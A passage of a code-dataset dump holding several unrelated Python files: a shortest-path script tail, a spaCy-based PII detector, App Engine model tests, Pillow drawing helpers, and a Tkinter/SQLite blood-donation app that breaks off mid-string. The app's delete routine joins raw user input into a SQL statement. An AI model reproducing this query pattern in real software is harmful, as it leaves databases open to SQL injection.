node_ls = node_ls[1:-1]\n\n if node_cnt != gvn_node_cnt:\n raise ValueError(f\"The provided node count ({gvn_node_cnt}) does not match the no. of nodes ({node_cnt}).\")\n\n if edge_cnt != gvn_edge_cnt:\n raise ValueError(f\"The provided edge count ({gvn_edge_cnt}) does not match the no. of edges ({edge_cnt}).\")\n\n print(f\"There are {node_cnt} nodes in citymapper-coding-test-graph.dat\")\n print(f\"There are {edge_cnt} edges in citymapper-coding-test-graph.dat\")\n\n lists = {\n \"node_ls\": node_ls,\n \"edge_dict\": edge_dict,\n }\n\n return lists\n\n\ndef write_dict_to_file(filename, dictionary):\n \"\"\"Writes a python dictionary to a .json file in the current directory.\n\n :param str filename: The desired name for the .json file.\n :param str dictionary: The var label for the dictionary you wish to write.\n\n :returns: None.\n \"\"\"\n with open(filename, \"w\") as file:\n file.write(json.dumps(dictionary))\n\n\ndef create_shortest_dists_frm_start_dict(node_ls, start_node):\n \"\"\"Creates a dictionary that contains the shortest length from each node to the start node.\n\n By default all distances in this dictionary ar given as INFINITY, except for the distance from\n the start node which is given as 0.\n\n :param list node_ls: A list of all nodes in the graph.\n :param str start_node: The id of the starting node.\n\n :return: A dictionary containing the starting shortest distances (INFINITY) from the start node.\n \"\"\"\n shortest_dists_from_start = {}\n\n # At the beginning the shortest distance from the start node is infinity\n # for all nodes except the start node, where the shortest distance is 0.\n\n for node in node_ls:\n shortest_dists_from_start[node] = {}\n shortest_dists_from_start[node][\"distance\"] = INFINITY\n shortest_dists_from_start[node][\"via_node\"] = None\n \n shortest_dists_from_start[start_node][\"distance\"] = 0\n shortest_dists_from_start[start_node][\"via_node\"] = None\n\n return shortest_dists_from_start\n\n\ndef get_next_node(current_node, shortest_dists_from_start, unvisited_nodes, start_node):\n \"\"\"Finds the next unvisisted node with the smallest known distance from the start node.\n\n :param str current_node: The current node we just used to calculate its neigbour's distances.\n :param dictionary shortest_dists_from_start: A dict containing our current shortest distance from start values.\n :param set univisited_nodes: A set of all unvisited nodes.\n :param str start_node: The start node.\n\n :return: 1. start_node, if there is no current_node.\n 2. next_node, if it can find another linked unvisisted node.\n 3. \"break\", if it cannot find another linked unvisisted node.\n \"\"\"\n next_node = None\n\n if current_node == None:\n return start_node\n\n current_shortest_dist = INFINITY\n for node in unvisited_nodes:\n if shortest_dists_from_start[node][\"distance\"] < current_shortest_dist:\n current_shortest_dist = shortest_dists_from_start[node][\"distance\"]\n next_node = node\n \n if next_node:\n return next_node\n else:\n # print(f\"Unvisited nodes = {unvisited_nodes}\")\n # print(f\"Current node = {current_node}\")\n # print(f\"Creating debug dictionary...\")\n # write_dict_to_file(\"shortest_dist_debug_file.json\", shortest_dists_from_start)\n # print(f\"shortest_dist_debug_file.json file created.\")\n return \"break\"\n\n \nif __name__ == \"__main__\":\n main()","sub_path":"shortest_path.py","file_name":"shortest_path.py","file_ext":"py","file_size_in_byte":7915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"632450851","text":"import os\nimport re\nimport copy\n\nfrom wasabi import msg\nfrom typing import Generator, Iterable, Optional, Sequence, List\n\ntry:\n import spacy\nexcept ImportError as e:\n if e.name == \"spacy\":\n raise ImportError(\n \"Could not find module 'spacy'. If you want to use extras,\"\n \" make sure you install scrubadub with 'pip install scrubadub[spacy]'\"\n )\n\nfrom . import register_detector\nfrom .base import Detector, RegexDetector\nfrom ..filth import Filth, NameFilth, OrganizationFilth, LocationFilth\nfrom ..utils import CanonicalStringSet\n\n\nclass SpacyEntityDetector(Detector):\n \"\"\"Use spaCy's named entity recognition to identify possible ``Filth``.\n\n This detector is made to work with v3 of spaCy, since the NER model has been significantly improved in this\n version.\n\n This is particularly useful to remove names from text, but can also be used to remove any entity that is\n recognised by spaCy. A full list of entities that spacy supports can be found here:\n ``_.\n\n Additional entities can be added like so:\n\n >>> import scrubadub, scrubadub.detectors.spacy\n >>> class MoneyFilth(scrubadub.filth.Filth):\n ... type = 'money'\n >>> scrubadub.detectors.spacy.SpacyEntityDetector.filth_cls_map['MONEY'] = MoneyFilth\n >>> detector = scrubadub.detectors.spacy.SpacyEntityDetector(named_entities=['MONEY'])\n >>> scrubber = scrubadub.Scrubber(detector_list=[detector])\n >>> scrubber.clean(\"You owe me 12 dollars man!\")\n 'You owe me {{MONEY}} man!'\n\n The dictonary ``scrubadub.detectors.spacy.SpacyEntityDetector.filth_cls_map`` is used to map between the spaCy\n named entity label and the type of scrubadub ``Filth``, while the ``named_entities`` argument sets which named\n entities are considered ``Filth`` by the ``SpacyEntityDetector``.\n \"\"\"\n filth_cls_map = {\n 'FAC': LocationFilth, # Buildings, airports, highways, bridges, etc.\n 'GPE': LocationFilth, # Countries, cities, states.\n 'LOC': LocationFilth, # Non-GPE locations, mountain ranges, bodies of water.\n 'PERSON': NameFilth, # People, including fictional.\n 'PER': NameFilth, # Bug in french model\n 'ORG': OrganizationFilth, # Companies, agencies, institutions, etc.\n }\n name = 'spacy'\n language_to_model = {\n \"zh\": \"zh_core_web_trf\",\n \"nl\": \"nl_core_news_trf\",\n \"en\": \"en_core_web_trf\",\n \"fr\": \"fr_dep_news_trf\",\n \"de\": \"de_dep_news_trf\",\n \"es\": \"es_dep_news_trf\",\n }\n\n disallowed_nouns = CanonicalStringSet([\"skype\"])\n\n def __init__(self, named_entities: Optional[Iterable[str]] = None,\n model: Optional[str] = None, **kwargs):\n \"\"\"Initialise the ``Detector``.\n\n :param named_entities: Limit the named entities to those in this list, defaults to ``{'PERSON', 'PER', 'ORG'}``\n :type named_entities: Iterable[str], optional\n :param model: The name of the spacy model to use, it must contain a 'ner' step in the model pipeline (most\n do, but not all).\n :type model: str, optional\n :param name: Overrides the default name of the :class:``Detector``\n :type name: str, optional\n :param locale: The locale of the documents in the format: 2 letter lower-case language code followed by an\n underscore and the two letter upper-case country code, eg \"en_GB\" or \"de_CH\".\n :type locale: str, optional\n \"\"\"\n super(SpacyEntityDetector, self).__init__(**kwargs)\n\n if named_entities is None:\n named_entities = {'PERSON', 'PER', 'ORG'}\n\n # Spacy NER are all upper cased\n self.named_entities = {entity.upper() for entity in named_entities}\n\n # Fixes a warning message from transformers that is pulled in via spacy\n os.environ['TOKENIZERS_PARALLELISM'] = 'false'\n self.check_spacy_version()\n\n if model is not None:\n self.model = model\n else:\n if self.language in self.language_to_model:\n self.model = self.language_to_model[self.language]\n else:\n self.model = \"{}_core_news_lg\".format(self.language)\n\n self.preprocess_text = self.model.endswith('_trf')\n\n if not self.check_spacy_model(self.model):\n raise ValueError(\"Unable to find spacy model '{}'. Is your language supported? \"\n \"Check the list of models available here: \"\n \"https://github.com/explosion/spacy-models \".format(self.model))\n\n self.nlp = spacy.load(self.model)\n\n # If the model doesn't support named entity recognition\n if 'ner' not in [step[0] for step in self.nlp.pipeline]:\n raise ValueError(\n \"The spacy model '{}' doesn't support named entity recognition, \"\n \"please choose another model.\".format(self.model)\n )\n\n # Only enable necessary pipes\n self.nlp.select_pipes(enable=[\"transformer\", \"tagger\", \"parser\", \"ner\"])\n\n @staticmethod\n def check_spacy_version() -> bool:\n \"\"\"Ensure that the version od spaCy is v3.\"\"\"\n spacy_version = spacy.__version__ # spacy_info.get('spaCy version', spacy_info.get('spacy_version', None))\n spacy_major = 0\n\n if spacy_version is None:\n raise ImportError('Spacy v3 needs to be installed. Unable to detect spacy version.')\n try:\n spacy_major = int(spacy_version.split('.')[0])\n except Exception:\n raise ImportError('Spacy v3 needs to be installed. Spacy version {} is unknown.'.format(spacy_version))\n if spacy_major != 3:\n raise ImportError('Spacy v3 needs to be installed. Detected version {}.'.format(spacy_version))\n\n return True\n\n @staticmethod\n def check_spacy_model(model) -> bool:\n \"\"\"Ensure that the spaCy model is installed.\"\"\"\n spacy_info = spacy.info()\n models = list(spacy_info.get('pipelines', spacy_info.get('models', None)).keys())\n if models is None:\n raise ValueError('Unable to detect spacy models.')\n\n if model not in models:\n msg.info(\"Downloading spacy model {}\".format(model))\n spacy.cli.download(model)\n # spacy.info() doesnt update after a spacy.cli.download, so theres no point checking it\n models.append(model)\n\n # Always returns true, if it fails to download, spacy sys.exit()s\n return model in models\n\n @staticmethod\n def _preprocess_text(document_list: List[str]) -> List[str]:\n whitespace_regex = re.compile(r'\\s+')\n for i_doc, text in enumerate(document_list):\n document_list[i_doc] = re.sub(whitespace_regex, ' ', text)\n return document_list\n\n def iter_filth_documents(self, document_list: Sequence[str],\n document_names: Sequence[Optional[str]]) -> Generator[Filth, None, None]:\n \"\"\"Yields discovered filth in a list of documents.\n\n :param document_list: A list of documents to clean.\n :type document_list: List[str]\n :param document_names: A list containing the name of each document.\n :type document_names: List[str]\n :return: An iterator to the discovered :class:`Filth`\n :rtype: Iterator[:class:`Filth`]\n \"\"\"\n spacy_docs = list(copy.copy(document_list))\n # If the model is a transformer model, we need to transform our data a little to avoid a maximum width of the\n # transformer. Lots of spaces causes lots of tokens to be made and passed to the transformer which makes an\n # index go out of range and so we remove excess whitespace.\n if self.preprocess_text:\n spacy_docs = self._preprocess_text(spacy_docs)\n\n yielded_filth = set()\n for doc_name, doc, text in zip(document_names, self.nlp.pipe(spacy_docs), document_list):\n for ent in doc.ents:\n if ent.label_ not in self.named_entities:\n continue\n filth_class = self.filth_cls_map.get(ent.label_, Filth)\n if self.preprocess_text:\n # When yielding the filth we need to yield filth as found in the original un-preprocessed text.\n # This section searches for text with the inverse of the preprocessing step.\n if ent.text in yielded_filth:\n continue\n yielded_filth.add(ent.text)\n\n class SpacyEntDetector(RegexDetector):\n filth_cls = filth_class\n regex = re.compile(re.escape(ent.text).replace('\\\\ ', r'\\s+'))\n\n regex_detector = SpacyEntDetector(name=self.name, locale=self.locale)\n yield from regex_detector.iter_filth(text, document_name=doc_name)\n else:\n # If we didn't pre-process, just return the filth as it was found.\n yield filth_class(\n beg=ent.start_char,\n end=ent.end_char,\n text=ent.text,\n document_name=(str(doc_name) if doc_name else None), # None if no doc_name provided\n detector_name=self.name,\n label=ent.label_,\n locale=self.locale\n )\n\n def iter_filth(self, text: str, document_name: Optional[str] = None) -> Generator[Filth, None, None]:\n \"\"\"Yields discovered filth in the provided ``text``.\n\n :param text: The dirty text to clean.\n :type text: str\n :param document_name: The name of the document to clean.\n :type document_name: str, optional\n :return: An iterator to the discovered :class:`Filth`\n :rtype: Iterator[:class:`Filth`]\n \"\"\"\n yield from self.iter_filth_documents(document_list=[text], document_names=[document_name])\n\n @classmethod\n def supported_locale(cls, locale: str) -> bool:\n \"\"\"Returns true if this ``Detector`` supports the given locale.\n\n :param locale: The locale of the documents in the format: 2 letter lower-case language code followed by an\n underscore and the two letter upper-case country code, eg \"en_GB\" or \"de_CH\".\n :type locale: str\n :return: ``True`` if the locale is supported, otherwise ``False``\n :rtype: bool\n \"\"\"\n return True\n\n\nregister_detector(SpacyEntityDetector, autoload=False)\n\n__all__ = ['SpacyEntityDetector']\n","sub_path":"scrubadub/detectors/spacy.py","file_name":"spacy.py","file_ext":"py","file_size_in_byte":10661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"246094275","text":"from google.appengine.ext import ndb\nfrom tcg_gae.tests import TestCase\nfrom tcg_gae.models import Model, Manager\n\n\nclass UserManager(Manager):\n pass\n\n\nclass User(Model):\n\n class Meta:\n manager = UserManager\n\n phone = ndb.StringProperty()\n email = ndb.StringProperty()\n\n\nclass AccessToken(Model):\n\n class Meta:\n parent = 'user'\n\n user_key = ndb.KeyProperty(kind='User')\n\n\nclass TestMetaClass(TestCase):\n\n def test_check_manager(self):\n self.assertTrue(isinstance(User.objects, UserManager))\n\n def test_check_reference_properties(self):\n self.assertEquals([], User.reference_properties.keys())\n self.assertEquals(\n ['user_key'], AccessToken.reference_properties.keys())\n\n def test_check_parent(self):\n self.assertEquals('user', AccessToken._parent_field)\n\n\nclass TestManager(TestCase):\n\n def test_query(self):\n User.objects.filter(name='hello').get()\n\n\nclass TestModel(TestCase):\n\n def test_create(self):\n user = User.create(email='hello', phone='84982')\n self.assertEquals('hello', user.email)\n self.assertEquals('84982', user.phone)\n\n def test_update(self):\n user = User.create(email='hello', phone='84982')\n user.update(email='new_email')\n self.assertEquals('new_email', user.email)\n self.assertEquals('84982', user.phone)\n self.assertEquals({'email': 'new_email'}, user._new_data)\n\n def test_create_with_reference(self):\n user = User.create(email='hello', phone='84982')\n\n token = AccessToken.create(user=user)\n self.assertEquals('hello', token.user.email)\n self.assertEquals('84982', token.user.phone)\n","sub_path":"tests/models_test.py","file_name":"models_test.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"138707158","text":"import os.path as osp\n\nimport matplotlib\nimport numpy as np\nimport PIL.Image\nimport PIL.ImageDraw\nimport PIL.ImageFont\n\n\ndef rectangle(src, aabb1, aabb2, color, fill=None, width=0):\n '''Draw rectangle on numpy array with Pillow.\n\n Parameters\n ----------\n src: numpy.ndarray\n Input image.\n aabb1, aabb2: (2,) array-like\n aabb1 is (y_min, x_min) and aabb2 is (y_max, x_max).\n color: (3,) array-like\n RGB color in uint8.\n fill: (3,) array-like, optional\n RGB color to fill the rectangle. None for no fill. (default: None)\n width: int, optional\n Rectangle line width. (default: 0)\n\n Returns\n -------\n dst: numpy.ndarray\n Output image.\n '''\n color = tuple(color)\n\n src_pil = PIL.Image.fromarray(src)\n draw = PIL.ImageDraw.ImageDraw(src_pil)\n\n y1, x1 = aabb1\n y2, x2 = aabb2\n draw.rectangle(xy=(x1, y1, x2, y2), fill=fill, outline=color, width=width)\n\n dst = np.asarray(src_pil)\n return dst\n\n\ndef _get_font(size):\n fonts_path = osp.join(\n osp.dirname(matplotlib.__file__), 'mpl-data/fonts/ttf'\n )\n font_path = osp.join(fonts_path, 'DejaVuSans.ttf')\n font = PIL.ImageFont.truetype(font=font_path, size=size)\n return font\n\n\ndef text_size(text, size):\n '''Get text size (height and width).\n\n Parameters\n ----------\n text: str\n Text.\n size: int\n Pixel font size.\n\n Returns\n -------\n height: int\n Text height.\n width: int\n Text width.\n '''\n font = _get_font(size)\n width, height = font.getsize(text)\n return height, width\n\n\ndef text(src, yx, text, color, size):\n '''Draw text on numpy array with Pillow.\n\n Parameters\n ----------\n src: numpy.ndarray\n Input image.\n yx: (2,) array-like\n Left top point of the text.\n text: str\n Text to draw.\n color: (3,) array-like\n Text RGB color in uint8\n size: int\n Text size in pixel.\n\n Returns\n -------\n dst: numpy.ndarray\n Output image.\n '''\n src_pil = PIL.Image.fromarray(src)\n draw = PIL.ImageDraw.ImageDraw(src_pil)\n\n y1, x1 = yx\n color = tuple(color)\n font = _get_font(size=size)\n draw.text(xy=(x1, y1), text=text, fill=color, font=font)\n\n dst = np.asarray(src_pil)\n return dst\n","sub_path":"imgviz/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"8819747","text":"from tkinter import *\r\nimport tkinter\r\nimport tkinter.messagebox\r\nfrom tkinter import ttk\r\nimport sqlite3\r\n#main page\r\ni=tkinter.Tk(className='blood donation')\r\ni.geometry(\"1500x1500\")\r\nLabel(i,text='WELCOME TO BLOOD DONATION PORTAL \\n',font=(\"times new roman\",\"23\",\"bold\"),bg='maroon',justify='center').grid(row=0,column=2,columnspan=2)\r\nLabel(i,text=' SOME OF YOUR OPTIONS ARE ',font=(\"arabic\",\"23\",\"bold\"),bg='maroon',justify='center').grid(row=1,column=2,columnspan=2)\r\n\r\n\r\n#already donated\r\ndef donatedcallback():\r\n\ttkinter.messagebox.showinfo(\"already donated blood\",\"thank you! you helped save a life \")\r\n\r\n#already requested\r\ndef requestcallback():\r\n tkinter.messagebox.showinfo(\"already requested\",\"thank you! we will try to contact you shortly \")\r\n\r\n\r\n#donate form\r\ndef donateblood():\r\n\ttop = Tk()\r\n\ttop.title('blood donation form')\r\n\ttop.geometry(\"1500x15000\")\r\n\ttop['bg']='dark red'\r\n\tLabel(top,text='\\t Please fill the below form :',font=(\"arabic\",\"20\",\"bold\"),bg='dark red').grid(row=0)\r\n\tLabel(top,text='First Name',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=3)\r\n\tLabel(top,text='Last Name',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=4)\r\n\tLabel(top,text='Age',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=5)\r\n\tLabel(top,text='phone number',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=6)\r\n\tLabel(top,text='blood group',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=7)\r\n\tLabel(top,text='email id',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=18)\r\n\tLabel(top,text='gender',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=16)\r\n\tLabel(top,text='remarks',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=19)\r\n\te1=Entry(top,font=(\"arabic\",17),width=22)\r\n\te2=Entry(top,font=(\"arabic\",17),width=22)\r\n\te3=Spinbox(top,from_=18,to=50,width=21,font=(\"arabic\",\"17\",\"bold\"),justify='center')\r\n\te4=Entry(top,font=(\"arabic\",17),width=22)\r\n\te6=Entry(top,font=(\"arabic\",17),width=22)\r\n\te7=Entry(top,font=(\"arabic\",17),width=22)\r\n\tprev = IntVar()\r\n\tchkbx=Checkbutton(top,text='previously donated',font=(\"arabic\",\"17\",\"bold\"),bg='dark red',variable=prev)\r\n\tchkbx.grid(row=20,column=1) \r\n\te1.grid(row=3, column=1)\r\n\te2.grid(row=4, column=1)\r\n\te3.grid(row=5, column=1)\r\n\te4.grid(row=6, column=1)\r\n\tgoption = StringVar(top,\"1\")\r\n\tvaluers = {\"Male\":\"Male\",\"Female\":\"Female\"}\r\n\ty=16\r\n\tfor(text,value) in valuers.items():\r\n\t\tRadiobutton(top,text = text,variable =goption,font=(\"arabic\",\"17\",\"bold\"),selectcolor=\"green\" ,value=value,indicator=0,activebackground=\"red\",background=\"orange\",width=20).grid(row=y,column=1)\r\n\t\ty=y+1\r\n\toption = StringVar(top,\"1\")\r\n\tvalues = {\"A+\":\"A+\",\"A-\":\"A-\",\"B+\":\"B+\",\"B-\":\"B-\",\"O+\":\"O+\",\"O-\":\"O-\",\"AB+\":\"AB+\",\"AB-\":\"AB-\",}\r\n\tx=7\r\n\tfor(text,value) in values.items():\r\n\t\tRadiobutton(top,text = text,variable =option,font=(\"arabic\",\"17\",\"bold\"),selectcolor=\"green\" ,value=value,indicator=0,activebackground=\"red\",background=\"light blue\",width=20).grid(row=x,column=1)\r\n\t\tx=x+1\r\n\te6.grid(row=18,column=1)\r\n\te7.grid(row=19,column=1)\r\n\tdef submit():\r\n #create databse\r\n\t\tconn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\t\t#create cursor\r\n\t\tc=conn.cursor()\r\n\t\t#insert into table\r\n\t\tc.execute(\"INSERT INTO blooddonationlist VALUES(:f_name,:l_name,:age,:phoneno,:bloodgrp,:gender,:emailid,:feedbck,:prev)\",\r\n\t\t\t\t{\r\n\t\t\t\t\t'f_name':e1.get(),\r\n\t\t\t\t\t'l_name':e2.get(),\r\n\t\t\t\t\t'age':e3.get(),\r\n\t\t\t\t\t'phoneno':e4.get(),\r\n\t\t\t\t\t'bloodgrp':option.get(),\r\n\t\t\t\t\t'gender':goption.get(),\r\n\t\t\t\t\t'emailid':e6.get(),\r\n\t\t\t\t\t'feedbck':e7.get(),\r\n\t\t\t\t\t'prev':prev.get()\r\n\t\t\t\t})\t\r\n\t\tconn.commit()\r\n\t\tconn.close()\r\n\t\t#clear text boxes\r\n\t\te1.delete(0,END)\r\n\t\te2.delete(0,END)\r\n\t\te3.delete(0,END)\r\n\t\te4.delete(0,END)\r\n\t\toption.set(None)\r\n\t\tgoption.set(None)\r\n\t\te6.delete(0,END)\r\n\t\te7.delete(0,END)\r\n\t\tchkbx.deselect()\r\n\t\ttkinter.messagebox.showinfo(\"successful\",\"thank you! your data has been added to the databse \")\r\n\t\ttop.destroy()\r\n\tsub=tkinter.Button(top,text=\"submit\",activebackground=\"blue\",width=20,height=1,bg='green',font=(\"arabic\",\"18\",\"bold\"),command=submit).grid(row=23,column=1)\r\n\tdeletetop=tkinter.Button(top,text=\"close window\",activebackground=\"blue\",width=20,height=1,bg='black',fg=\"white\",font=(\"arabic\",\"18\",\"bold\"),command=top.destroy).grid(row=23,column=0)\r\n\r\n#show donated list\r\ndef showstats():\r\n stat=Tk()\r\n stat.title('show statistics')\r\n stat.geometry(\"1500x1500\")\r\n stat['bg']='#49A'\r\n #Label(stat,text='the blood goups donated till now are :\\n',font=(\"arabic\",\"22\",\"bold\"),bg='#49A').grid(row=0)\r\n #Label(stat,bg='#49A',text=\"id firstname lastname age phonenumber blood group gender email id remarks first time \\n\",font=(\"arabic\",\"17\",\"bold\"),justify=LEFT).grid(row=1)\r\n appLabel = Label(stat, text=\"SHOW DONATED LIST\",fg=\"#06a099\", width=40)\r\n appLabel.config(font=(\"Sylfaen\", 30))\r\n appLabel.pack()\r\n\r\n tree = ttk.Treeview(stat)\r\n tree[\"columns\"] = (\"zero\",\"one\", \"two\", \"three\", \"four\",\"five\",\"six\",\"seven\",\"eight\",\"nine\",\"ten\")\r\n tree.heading(\"zero\",text=\"ID\")\r\n tree.heading(\"one\", text=\"First Name\")\r\n tree.heading(\"two\", text=\"Last Name\")\r\n tree.heading(\"three\", text=\"Age\")\r\n tree.heading(\"four\", text=\"phone no\")\r\n tree.heading(\"five\", text=\"blood group\")\r\n tree.heading(\"six\", text=\"gender\")\r\n tree.heading(\"seven\", text=\"email id\")\r\n tree.heading(\"eight\", text=\"renarks\")\r\n tree.heading(\"nine\", text=\"first time\") \r\n tree.column(\"zero\",width=50,anchor='center')\r\n tree.column(\"one\",width=100,anchor=\"center\")\r\n tree.column(\"two\",width=100,anchor=\"center\")\r\n tree.column(\"three\",width=100,anchor=\"center\")\r\n tree.column(\"four\",width=150,anchor=\"center\")\r\n tree.column(\"five\",width=100,anchor=\"center\")\r\n tree.column(\"six\",width=100,anchor=\"center\")\r\n tree.column(\"seven\",width=200,anchor=\"center\")\r\n tree.column(\"eight\",width=100,anchor=\"center\")\r\n tree.column(\"nine\",width=100,anchor=\"center\")\r\n #create databse\r\n conn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\r\n #create cursor\r\n c=conn.cursor()\r\n c.execute(\"SELECT *,oid FROM blooddonationlist ;\")\r\n i = 0\r\n\r\n for row in c :\r\n tree.insert('',\"end\",i,text=\"\",values=(row[9],row[0],row[1],row[2],row[3],row[4],row[5],row[6],row[7],row[8]))\r\n i = i + 1\r\n\r\n tree.pack()\r\n conn.commit()\r\n conn.close()\r\n stat.mainloop()\r\n \r\n\r\n#delete from donated list\r\ndef deleted():\r\n\tdeler = Tk()\r\n\tdeler.title('delete an entry ')\r\n\tdeler.geometry('1500x1500')\r\n\tdeler['bg']='orangered'\r\n\tdelet=Label(deler,text=\"please enter the id of the entry to be deleted in the below box \",font=('arabic',\"20\",\"bold italic\"))\r\n\tdelet['bg']='orangered'\r\n\tdelet.grid(row=5,column=5,padx=10,pady=10)\r\n\tdeletr=Entry(deler,font=('arabic',\"20\",\"bold italic\"),width=23)\r\n\tdeletr.grid(row=15,column=5,padx=10,pady=10)\r\n\tdef deleterow():\r\n\t\t#create databse\r\n\t\tconn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\t\t#create cursor\r\n\t\tc=conn.cursor()\r\n\t\t#delete a record\r\n\t\tc.execute(\"DELETE from blooddonationlist WHERE oid = \" + deletr.get())\r\n\t\tconn.commit()\r\n\t\tconn.close()\r\n\t\tdeletr.delete(0,END)\r\n\t\ttkinter.messagebox.showinfo(\"successful\",\"your data has been deleted from the databse \")\r\n\t\tdeler.destroy()\r\n\trowdel=tkinter.Button(deler, text='delete from list',font=('arabic',\"20\",\"bold italic\"),width=20,bd=5,height=1,bg='red',activebackground=\"blue\",command=deleterow).grid(row=16,column=5)\r\n\r\n#requirement form\r\ndef reqbloodform():\r\n\treq = Tk()\r\n\treq.title('blood requirement form')\r\n\treq.geometry(\"1500x1500\")\r\n\treq['bg']='dark red'\r\n\tLabel(req,text='\\t Please fill the below form :',font=(\"arabic\",\"20\",\"bold\"),bg='dark red').grid(row=0)\r\n\tLabel(req,text='First Name',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=3)\r\n\tLabel(req,text='Last Name',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=4)\r\n\tLabel(req,text='Age',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=5)\r\n\tLabel(req,text='phone number',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=6)\r\n\tLabel(req,text='required blood group',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=7)\r\n\tLabel(req,text='email id',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=18)\r\n\tLabel(req,text='gender',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=16)\r\n\tLabel(req,text='ever donated',font=(\"arabic\",\"17\",\"bold\"),bg='dark red').grid(row=19)\r\n\tr1=Entry(req,font=(\"arabic\",17),width=22)\r\n\tr2=Entry(req,font=(\"arabic\",17),width=22)\r\n\tr3=Spinbox(req,from_=18,to=50,width=21,font=(\"arabic\",\"17\",\"bold\"),justify='center')\r\n\tr4=Entry(req,font=(\"arabic\",17),width=22)\r\n\tr6=Entry(req,font=(\"arabic\",17),width=22)\r\n\tr7=Entry(req,font=(\"arabic\",17),width=22)\r\n\treqprev = IntVar()\r\n\t#chkbx=Checkbutton(top,text='previously donated',font=(\"arabic\",17),variable=prev)\r\n\t#chkbx.grid(row=20,column=1) \r\n\tr1.grid(row=3, column=1)\r\n\tr2.grid(row=4, column=1)\r\n\tr3.grid(row=5, column=1)\r\n\tr4.grid(row=6, column=1)\r\n\treqgoption = StringVar(req,\"1\")\r\n\tvaluers = {\"Male\":\"Male\",\"Female\":\"Female\"}\r\n\ty=16\r\n\tfor(text,value) in valuers.items():\r\n\t\tRadiobutton(req,text = text,variable =reqgoption,font=(\"arabic\",\"17\",\"bold\"),selectcolor=\"green\" ,value=value,indicator=0,activebackground=\"red\",background=\"orange\",width=20).grid(row=y,column=1)\r\n\t\ty=y+1\r\n\treqoption = StringVar(req,\"1\")\r\n\tvalues = {\"A+\":\"A+\",\"A-\":\"A-\",\"B+\":\"B+\",\"B-\":\"B-\",\"O+\":\"O+\",\"O-\":\"O-\",\"AB+\":\"AB+\",\"AB-\":\"AB-\",}\r\n\tx=7\r\n\tfor(text,value) in values.items():\r\n\t\tRadiobutton(req,text = text,variable =reqoption,font=(\"arabic\",\"17\",\"bold\"),selectcolor=\"green\" ,value=value,indicator=0,activebackground=\"red\",background=\"light blue\",width=20).grid(row=x,column=1)\r\n\t\tx=x+1\r\n\tr6.grid(row=18,column=1)\r\n\tr7.grid(row=19,column=1)\r\n\tdef reqsubmit():\r\n #create databse\r\n\t\tconn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\t\t#create cursor\r\n\t\trc=conn.cursor()\r\n\t\t#insert into table\r\n\t\trc.execute(\"INSERT INTO bloodrequiredlist VALUES (:f_name,:l_name,:age,:phoneno,:bloodgrp,:gender,:emailid,:everdonated)\",\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t'f_name':r1.get(),\r\n\t\t\t\t\t\t'l_name':r2.get(),\r\n\t\t\t\t\t\t'age':r3.get(),\r\n\t\t\t\t\t\t'phoneno':r4.get(),\r\n\t\t\t\t\t\t'bloodgrp':reqoption.get(),\r\n\t\t\t\t\t\t'gender':reqgoption.get(),\r\n\t\t\t\t\t\t'emailid':r6.get(),\r\n\t\t\t\t\t\t'everdonated':r7.get()\r\n\t\t\t\t\t}\r\n\t\t\t\t)\r\n\t\tconn.commit()\r\n\t\tconn.close()\r\n\t\t#clear text boxes\r\n\t\tr1.delete(0,END)\r\n\t\tr2.delete(0,END)\r\n\t\tr3.delete(0,END)\r\n\t\tr4.delete(0,END)\r\n\t\treqoption.set(None)\r\n\t\treqgoption.set(None)\r\n\t\tr6.delete(0,END)\r\n\t\tr7.delete(0,END)\r\n\t\t#chkbx.deselect()\r\n\t\ttkinter.messagebox.showinfo(\"successful\",\"thank you! your data has been added to the required blood list \")\r\n\t\treq.destroy()\r\n\tsub=tkinter.Button(req,text=\"submit\",activebackground=\"blue\",width=18,height=1,bg='green',font=(\"arabic\",\"20\",\"bold\"),command=reqsubmit).grid(row=23,column=1)\r\n\tdeletetop=tkinter.Button(req,text=\"close window\",activebackground=\"blue\",fg=\"white\",width=18,height=1,bg='black',font=(\"arabic\",\"20\",\"bold\"),command=req.destroy).grid(row=23,column=0)\r\n\r\n#show requirement list\r\ndef showreq():\r\n reqstat=Tk()\r\n reqstat.title('show requirement list')\r\n reqstat.geometry(\"1500x1500\")\r\n reqstat['bg']='#49A'\r\n\t#Label(reqstat,text='the blood goups required til now are :\\n',font=(\"arabic\",\"22\",\"bold\"),bg='#49A').grid(row=0)\r\n\t#Label(reqstat,bg='#49A',text=\" id firstname lastname age phonenumber blood group gender email id ever donated \\n\",font=(\"arabic\",\"17\",\"bold\"),justify=LEFT).grid(row=1)\r\n\t#create databse\r\n conn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\r\n #create cursor\r\n c=conn.cursor()\r\n \r\n '''c.execute(\"SELECT *,oid FROM bloodrequiredlist\")\r\n\treqrecords=c.fetchall()\r\n #loop results\r\n\tprint_reqrecord = ''\r\n\tfor record in reqrecords:\r\n\t print_reqrecord += 